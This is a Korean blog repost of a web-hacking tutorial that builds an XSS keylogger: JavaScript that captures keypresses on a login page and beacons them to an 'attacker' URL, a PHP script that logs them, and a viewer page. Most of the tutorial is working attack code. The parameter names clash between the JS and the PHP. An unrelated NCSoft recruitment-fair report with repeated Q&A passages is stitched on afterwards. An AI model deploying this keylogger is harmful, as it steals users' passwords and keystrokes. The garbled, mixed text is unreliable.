출처: http://www.hahwul.com/2016/06/web-hacking-making-xss-keyloggerxss.html
오늘은 공격을 통한 영향력 측면에서 바로 사용자의 키 입력을 가로채는 Keylogger를 간단하게 만들어볼까합니다. 물론 악용하시면 안됩니다. 연구적인 측면에서 해보시길 바랍니다.
Keylogger의 원리
전통적인 Keylogger는 OS나 사용자 프로그램에 삽입되어 사용자가 입력하는 키 값을 후킹하여 가로채 PC에 저장하거나 원격지로 전송합니다. 요즘 시대에는 Web이 많이 사용되고 있고, 앞으로도 Web은 죽지않을 것이기 때문에 이런 웹을 이용한 Keylogger 도 조심해야할 판입니다.
OS단 Keylogger 와는 다르게 우리는 Hooking을 할 필요가 없습니다. 웹 브라우저에서 오는 입력을 Event Handler로 받아낼 수 있으니깐요 :)
자 크게 그림을 보면 이런 느낌이겠네요. XSS(Keylog)가 삽입된 페이지에 사용자가 접근하여 키보드를 누를 때 onkeypress 등등 여러가지 keyboard event가 발생합니다. 이 발생한 값에는 입력한 키보드 값이 존재하며 이를 원격지 서버로 전송만해주면 됩니다.
(onkeypress는 xss 공격 자체에도 쓰이고, 웹에서 enter 키 누르면 검색되게 하는데 그 부분에도 사용되지요)
Keylogger XSS 만들기(./vuln.html : Client : HTML)
자 이제 onkeypree를 이용해서 간단한 코드를 만들어보겠습니다.
가상으로 XSS가 삽입된 페이지처럼 <script> 태그를 넣어놨습니다.
여기에 onkeypress를 받으면 buffer에 입력된 값을 넣는 코드를 작성합니다.
(enter는 보기편하라고 해놓았습니다.)
var buffer = "";
var attacker = 'http://127.0.0.1/xsskey/proc.php?c='
document.onkeypress = function(e) {
이제 서버로 전송하는 부분만 만들면 됩니다. img 태그를 이용하면 어렵지 않게 전송이 가능하겠죠.
(img 태그의 src 부분은 이미지의 주소를 의미하며 이미지던, txt 던 파일이 없던 무조건 접근합니다.
따라서 웹 서버는 그 로그값을 받아 처리하면 되지요)
window.setInterval(function() {
if (buffer.length > 0) {
var data = encodeURIComponent(buffer);
new Image().src = attacker + data;
buffer = "";
}
}, 200);
자 정말 간단하네요. 여기까지 보면 사용자의 key 입력을 받아서 지정한 서버 페이지(proc.php)로 전송하는 코드가 작성되었습니다. Full Code로 보면 아래와 같네요.
vuln.html
<html><body>
<h1>TEST PAGE</h1>
<hr>
<table border=1><tr><td>
ID: <input type=text>
PASSWD: <input type=text>
<input type=submit value="Send">
</td></tr></table>
<script>
// Insert XSS zzz
var buffer = "";
var attacker = 'http://127.0.0.1/xsskey/proc.php?c='
document.onkeypress = function(e) {
buffer = e.key;
if(buffer == "Enter")
{
buffer = " --> [Enter]\n"
}
}
window.setInterval(function() {
if (buffer.length > 0) {
var data = encodeURIComponent(buffer);
new Image().src = attacker + data;
buffer = "";
}
}, 200);
</script></body></html>
Keylogger Server 만들기(./proc.php : Server : PHP)
사실 위에 Javascript 로 만든 XSS코드가 전부입니다. 여기는 그냥 src로 넘어온 값을 받아서 처리(저장/사용)하는 구문만 만들면되지요. 아까 JS코드에서 사용자 키 입력을 넘기는 파라미터는 key 파라미터였습니다.
아래와 같이 c 파라미터를 받아서 txt 파일에 저장하는 코드를 작성합니다.
<?php
if(!empty($_GET['key'])) {
$logfile = fopen('./data.txt', 'a+');
fwrite($logfile, $_GET['key']);
fclose($logfile);
}
?>
data.txt 파일을 읽어보면..
#> cat data.txt
test --> [Enter]
www.hahwul.com --> [Enter]
Keylogger Viewer 만들기(./index.html : Server : HTML)
proc.php 까지 해도 keylogger는 완성되었지만 우리는 좀 더 편하게 볼 수 있기를 원합니다.
간단하게 HTML로 Viewer를 작성해봅니다.
<html>
<body>
<iframe name="log" src="./data.txt" width="100%" height="100%"></iframe>
<script>
function refresh()
{
parent.log.location.href="./data.txt";
setTimeout("refresh()",1000);
}
refresh();
</script>
</body>
</html>
iframe으로 아까 만든 txt를 읽어오고 1초(setTimeout의 1000) 단위로 갱신하여서 나름 실시간으로 받는 것 처럼 만들어줍니다.
정말 심플하죠 :)
Run!
이제 XSS 코드를 심어놓은 vuln.html 에서 키 입력을 해봅시다. 그러면 proc를 통해 txt 파일에 데이터가 작성되고 viewer(index.php)에서 해당 파일을 읽게 되지요. 간단하게 영상으로 꾸며봤습니다.
http://ncsoft-jk.jobkorea.co.kr/ExplainDetail/513/13059
엔씨소프트 채용설명회 후기
설명회일시 2015.10.14 l 장소 서울대학교 l 등록일 2015.10.15
요즘 게임을 하다 보면 그래픽이나 기술이 아주 좋아서 마치 가상세계에 들어온 것 같은 기분이 들 때가 있는데요. 이렇듯 현실 세계와는 또 다른 세상을 상상력 하나로 만들어 내는 게임 회사가 있습니다. 바로 리니지 열풍의 주인공 엔씨소프트인데요.
게임이라는 공간 속에 새로운 세상, 캐릭터, 이야기까지 내 손으로 만들어 내는 회사, 정말 멋지지 않나요? 그렇다면 함께 그 설명회 현장 속으로 입장해보아요!
잡코리아 박희주 인턴기자
주요 이미지
입사 해야하는 이유, No.3
- 1. 온라인 게임 리더, 엔씨소프트
- 엔씨소프트는 세계 최고의 개발 기술력과 서비스 역량을 보유한 온라인 게임 리더입니다. 1997년 설립, 리니지를 시작으로 인터넷 기반 온라인 게임의 대중화를 이끌었으며, 국외 시장을 개척, 아시아, 북미, 유럽 등에 글로벌 네트워크를 확보해 나가고 있습니다. 엔씨소프트가 꿈꾸는 것은 세상 사람들을 더 즐겁게 만드는 것입니다. 온라인 세상을 뛰어넘어 즐거움으로 연결된 새로운 세상을 만들어 나가고자 합니다.
- 2. 우주정복을 꿈꾸는 엔씨소프트
- 우리는 남들이 만들려는 것을 똑같이 개발하려는 것이 아닙니다. 항상 우리는 우리가 꿈꾸는 새로운 세계를 만들어나가야 하고 이것이 우주정복을 의미합니다. 남들이 가지 않으려는 별을 가려고 하는 것입니다. 그 별에 한 번 구경하기 위해서가 아니라 정복하기 위해서 가는 것입니다. 그 별을 낙원, 꿈의 나라로 만들어 그 별을 방문한 사람들에게 감동을 주는 것이 정복입니다.
- 3. 일하기 좋은 근무환경
- 판교 테크노벨리에 있는 엔씨소프트는 시설이 좋기로 유명합니다. 사내 도서관이 있는데 18,000권 정도를 보유하여 회사 도서관치고 장서가 많습니다. 또 게임회사다 보니 도서관에 플레이스테이션도 있습니다. PC룸도 따로 있어서 개발실 분들은 일하시다가 지치면 도서관에 와서 게임을 하기도 합니다. 그 외에도 사내에 피트니스 센터, 스파, 어린이집, 메디컬 센터가 갖춰져 있습니다. 개발하시는 분들은 계속 앉아서 일하므로 허리가 안 좋을 수 있는데 그분들을 위해 물리치료나 엑스레이를 찍는 공간도 있습니다.
기업소개
엔씨소프트는 세계 최고의 개발 기술력과 서비스 역량을 보유한 온라인 게임 리더입니다.
1997년 설립, 리니지를 시작으로 인터넷 기반 온라인 게임의 대중화를 이끌었으며, 해외 시장을 개척, 아시아, 북미, 유럽 등에 글로벌 네트워크를 확보해 나가고 있습니다.
국내 최초의 인터넷 기반 온라인 게임 리니지를 시작으로, 리니지2, 길드워, 아이온, 블레이드 & 소울, 길드워2까지 글로벌 온라인 게임 시장의 중심에 엔씨소프트가 있습니다. 온라인 세상의 즐거움을 확장해 나가기 위한 프로야구 제 9단 NC 다이노스 창단까지, 엔씨소프트는 세상 사람들을 더 즐겁게 만들기 위해 끊임없이 도전하고 있습니다.
지속적인 연구개발 투자와 적극적인 해외시장 개척을 통해 세계적인 기업으로 성장하고, 늘 새로운 변화와 즐거운 내일을 꿈꾸는 엔씨소프트를 그려 나가겠습니다.
2. 비전
엔씨소프트가 지향하는 궁극적인 목적은 즐거움으로 연결된 새로운 세상을 만들고, 지구촌 한 사람이라도 더 즐겁게 연결하는 것 - 세상 사람들의 서로의 삶에 즐거움을 엮는 것입니다.
3. 복리후생
- 엔씨 복지카드
- 종합 메디컬플랜
- 사내식당 운영
- 콘도미니엄 운영
- 사내 동호회 지원
- 주택자금, 생활안정자금 지원
- 어린이집 운영
- Fitness Center 운영
인사 담당자 현장 인터뷰
- 엔씨소프트의 채용 일정이 어떻게 되나요?
- 10월 10일부터 10월 23일 오후 5시까지 지원서신청을 받고요. 11월에 온라인으로 NC Test를 봅니다. 그러고 나서 11월 말에 1차로 실무진 면접을 보게 되고요. 12월 초에 2차로 임원 면접을 보게 됩니다. 최종합격은 12월 중순에 날 것 같고요. 입사는 내년 1월에 하게 돼요.
- 자기소개서에 Tip을 주신다면 어떤 게 있을까요?
- 저희는 무조건 자기소개서를 봐요. 학점은 전혀 안 보고요. 학과도 안 걸러 내요. 자기소개서 문항들은 핵심과 역량에 관한 건데요. 가장 중요한 건 2번 문항이에요. 지원한 분야의 전문성과 역량을 갖추기 위해 본인이 노력했던 경험과 그 결과에 대하여 구체적으로 서술하란 건데요. 꼭 게임에 관한 게 아니어도 좋고 큰 경험이 아니어도 좋으니 작은 거 하나라도 본인이 실제로 발전했던 경험을 써주셨으면 좋겠어요. 예를 들어 수업시간에 프로젝트 하나라도 관련된 경험이 있다면 말이에요.
- NC Test는 무엇인가요?
- 보통 생각하시는 인적성 검사에요. 신입 공채는 인성검사, 적성검사, 직무능력평가 이렇게 3교시로 이루어져 있어요. 인성검사와 적성검사는 시중 서점에 나와 있는 문제집과 비슷한 유형이고요. 직무능력평가는 게임사업 지원이면 비즈니스 개념, 게임개발이면 코딩 능력 등 직무별로 다른 거를 물어볼 거에요.
- 1차 면접은 어떻게 진행되나요?
- 1차 면접은 직무에 대한 전문성, 기술, 역량에 대한 심층 면접이에요. 직무에 따라 PT 면접, 필기테스트 등 복합적으로 진행합니다. 多:多로 진행될 거고요. 근데 프로그래밍 직무는 NC Test에서 코딩능력을 평가했어도 1차 면접에서 종이나 컴퓨터로 또 코딩할 수도 있으니 염두에 두세요.
- 2차 면접은 어떻게 진행되나요?
- 2차 면접은 인성면접으로 회사랑 얼마나 맞는지와 발전 가능성을 봐요. 근데 프로그래밍 직군은 여기서 또 프로그래밍 실력을 평가할 수도 있어요. 임원분들도 개발자 마인드가 강해서 아무리 인성면접이라고 해도 그 실력을 궁금해하세요. 그래서 종이 주고 코딩해보라고 하실 수도 있어요. 모두 그런 건 아니지만요. 프로그래밍 분들은 영원히 코딩과 함께라고 생각하시면 돼요. (웃음)
채용
- 이번에 어떤 직무를 채용하나요?
- 총 17개의 직무를 뽑아요. 간략하게 말씀드리면 Development, Business, System&Information, Management Supporting, 엔씨문화재단 직군에서 뽑고 있어요. 10월 10일부터 접수를 시작했으니 홈페이지를 통해 세부적인 직무를 확인해 주세요.
- 이공계가 아닌 전공은 어디로 지원 가능한가요?
- 경영지원이나 게임사업, 게임기획 직무를 많이 지원하십니다.
- 엔씨소프트의 채용 일정이 어떻게 되나요?
- 10월 10일부터 10월 23일 오후 5시까지 지원서신청을 받고요. 11월에 온라인으로 NC Test를 봅니다. 그러고 나서 11월 말에 1차로 실무진 면접을 보게 되고요. 12월 초에 2차로 임원 면접을 보게 됩니다. 최종합격은 12월 중순에 날 것 같고요. 입사는 내년 1월에 하게 돼요.
- 각 전형별로 몇 배수인지 알 수 있을까요?
- NC Test는 최종합격자의 30~40배수이고요. 1차 면접은 최종합격자의 7~8배수, 2차 면접은 최종합격자의 3~5배수 정도일 거예요.
서류전형
- 자기소개서에 Tip을 주신다면 어떤 게 있을까요?
- 저희는 무조건 자기소개서를 봐요. 학점은 전혀 안 보고요. 학과도 안 걸러 내요. 자기소개서 문항들은 핵심과 역량에 관한 건데요. 가장 중요한 건 2번 문항이에요. 지원한 분야의 전문성과 역량을 갖추기 위해 본인이 노력했던 경험과 그 결과에 대하여 구체적으로 서술하란 건데요. 꼭 게임에 관한 게 아니어도 좋고 큰 경험이 아니어도 좋으니 작은 거 하나라도 본인이 실제로 발전했던 경험을 써주셨으면 좋겠어요. 예를 들어 수업시간에 프로젝트 하나라도 관련된 경험이 있다면 말이에요.
- 입사지원서에 사회경험을 쓰는 칸이 있던데 직무와 관련 없는 걸 써도 되나요?
- 아니요. 사회경험인 인턴, 아르바이트, 자격증, 입상 경력 등은 꼭 직무에 관련된 것만 써주세요. 관련 없는 건 죄송하지만 메리트가 없을 거예요.
인적성 전형
- NC Test는 무엇인가요?
- 보통 생각하시는 인적성 검사에요. 신입 공채는 인성검사, 적성검사, 직무능력평가 이렇게 3교시로 이루어져 있어요. 인성검사와 적성검사는 시중 서점에 나와 있는 문제집과 비슷한 유형이고요. 직무능력평가는 게임사업 지원이면 비즈니스 개념, 게임개발이면 코딩 능력 등 직무별로 다른 거를 물어볼 거에요.
면접 전형
- 1차 면접은 어떻게 진행되나요?
- 1차 면접은 직무에 대한 전문성, 기술, 역량에 대한 심층 면접이에요. 직무에 따라 PT 면접, 필기테스트 등 복합적으로 진행합니다. 多:多로 진행될 거고요. 근데 프로그래밍 직무는 NC Test에서 코딩능력을 평가했어도 1차 면접에서 종이나 컴퓨터로 또 코딩할 수도 있으니 염두에 두세요.
- 2차 면접은 어떻게 진행되나요?
- 2차 면접은 인성면접으로 회사랑 얼마나 맞는지와 발전 가능성을 봐요. 근데 프로그래밍 직군은 여기서 또 프로그래밍 실력을 평가할 수도 있어요. 임원분들도 개발자 마인드가 강해서 아무리 인성면접이라고 해도 그 실력을 궁금해하세요. 그래서 종이 주고 코딩해보라고 하실 수도 있어요. 모두 그런 건 아니지만요. 프로그래밍 분들은 영원히 코딩과 함께라고 생각하시면 돼요. (웃음)
회사
- 엔씨소프트의 게임 라인업이 어떻게 되나요?
- 대표 시리즈는 아시다시피 리니지 시리즈고요. 1998년에 개발되어서 지금까지 회사의 주 수입원인 고마운 게임입니다. 이어서 AION이라는 게임이 출시되었는데 몇십 주간 피시방 점유율 1위를 선점하고 있고요. 그 후에 Guild Wars와 Wild star 등도 런칭했어요.
사장님과 개발실 특성상 개발 시간이 오래 걸리더라도 깊이 파는 성격이라서 출시가 조금 늦어져 내년에 발표할 게임이 있어요. 그래서 이번에 신입 공채로 들어오시면 엔씨소프트의 또 한 번의 성장을 함께하실 수 있으실 겁니다. (웃음) - 회사 인원이 몇 명 정도 되나요?
- 판교 본사 인원은 2,200명 정도고요. 글로벌로 따지면 총 3,000명 정도가 엔씨소프트에서 일하고 있습니다. 남녀 비율은 7:3이고요. Art, 게임기획, 프로그래밍 등 개발 인력이 7이라고 하면 비 개발 인력은 3으로 7:3 비율이에요.
- 입사 후 신입 교육은 어떻게 진행되나요?
- 공채교육이라고 해서 3~4주간 진행되는 교육이 있어요. 저는 게임 개발 경험이 없었는데 게임을 만들었어요. 비 개발 직무라고 해도 게임회사다 보니 게임 관련한 것들을 경험할 수 있게 해주는 편이에요. 또 직무별로 팀장, 과장님들이 나오셔서 회사 돌아가는 걸 설명해주세요.
이런 회사 전체 교육이 끝나면 직무별로 교육이 진행되는데요. 게임기획 분들은 새로 시작하는 게 많으므로 한 달 정도 집중적으로 교육을 진행한다고 해요. 또한 프로그래밍 직무 분들도 2~3주 정도 교육을 따로 더 한다고 들었어요.
직무
- Programming 자연어처리, Game AI 직무는 석사학위가 있어야 하나요?
- 네. 이 두 개 직무는 학사 지원은 불가하고요. 꼭 석사 학위가 있으셔야 공채 지원이 가능합니다. 특히 AI 쪽은 커리큘럼 자체가 석사를 따지 않고서는 알 수 없다고 하시더라고요.
엔씨소프트에 대해 더 많은 정보를 알고 싶으시다면 홈페이지뿐만 아니라 블로그와 페이스북도 운영하고 있다고 하니 참고하시길 바랍니다!
'프로젝트 관련 조사 > 모의 해킹' 카테고리의 다른 글
웹에디터의 파일 업로드 취약점들 (0) | 2016.11.01 |
---|---|
Reflected File Download(RFD) Attack (0) | 2016.10.27 |
URL Redirection & URL Forwards 우회 기법(Bypass Redirection Filtering) (0) | 2016.10.27 |
Short XSS(Cross site script) 공격구문 삽입부분이 작을때 XSS를 삽입하는 방법들 (0) | 2016.10.27 |
XSS(Cross Site Script)와 XFS(Cross Frame Script)의 차이 (0) | 2016.10.27 |